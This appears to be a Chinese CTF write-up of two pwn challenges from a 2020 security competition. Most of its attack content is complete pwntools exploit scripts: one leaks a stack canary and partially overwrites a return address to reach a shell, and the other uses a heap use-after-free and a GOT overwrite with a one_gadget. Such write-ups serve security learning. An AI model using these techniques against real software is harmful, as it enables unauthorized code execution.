1. 程式人生 > 實用技巧 >2020資訊保安鐵人三項 pwn覆盤

2020資訊保安鐵人三項 pwn覆盤

第一賽區

待更新

第二賽區

待更新

第三賽區

待更新

第四賽區

namepie

  程式本身有system("/bin/sh"),兩個輸入,可以利用第一個輸入leak canary。

  圖片可以看到rbp下面是程式本身的地址。開啟pie 的程式,後三位是不會變的,所以只覆蓋最後一個位元組,覆蓋成shell的位元組,就拿到shell了。

exp:

 1 from pwn import *
 2 
 3 elf = ELF('./namepie')
 4 context.log_level = 'debug'
 5 
 6 shell = 0x000A71
 7 
 8 p = process('
./namepie') 9 p.recvuntil('Name:\n') 10 p.send('a'*0x28+'b') 11 p.recvuntil('b') 12 canary = u64(p.recv(7).rjust(8,'\x00')) 13 print 'canary-->' + hex(canary) 14 p.recv() 15 p.send('a'*0x28+p64(canary)+'bbbbbbbb'+'\x71') 16 p.sendline('ls') 17 p.recvuntil('namepie') 18 p.interactive()

onetime

  是一道選單堆題。除錯的時候發現bss段上有7f。

  存在uaf,先malloc一個chunk,再free掉,修改fd為bss段上的地址。然後再申請兩次申請回來。這時候就可以控制bss上的資料,並且有一個可以讀寫的指標。

  將指標指向malloc_got,洩露libc地址,然後修改malloc_got為one_gadget的地址,再執行malloc就拿到shell了。

 1 from pwn import *
 2 
 3 p = process('./pwn')
 4 elf = ELF('./pwn')
 5 libc = ELF('./libc.so.6')
 6 context.log_level = 'debug'
 7 
 8 def
duan(): 9 gdb.attach(p) 10 pause() 11 12 def add(): 13 p.sendlineafter('choice >>\n','1') 14 15 def edit(content): 16 p.sendlineafter('choice >>\n','2') 17 p.sendafter('content:',content) 18 19 def show(): 20 p.sendlineafter('choice >>\n','3') 21 22 def delete(): 23 p.sendlineafter('choice >>\n','4') 24 25 def gift(content): 26 p.sendlineafter('choice >>\n','5') 27 p.sendafter('name:',content) 28 29 attack_addr = 0x0006020BC-0x2f 30 #x/32gx 0x0006020BC-0x24 31 add() 32 delete() 33 edit(p64(attack_addr)) 34 add() 35 gift('a'*11+p64(elf.got['malloc'])+p32(100)+p32(100)+p32(100)+p32(100)) 36 37 show() 38 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.symbols['malloc'] 39 print 'libc_base-->' + hex(libc_base) 40 shell = libc_base + 0x45226 41 42 43 edit(p64(shell)) 44 add() 45 p.interactive()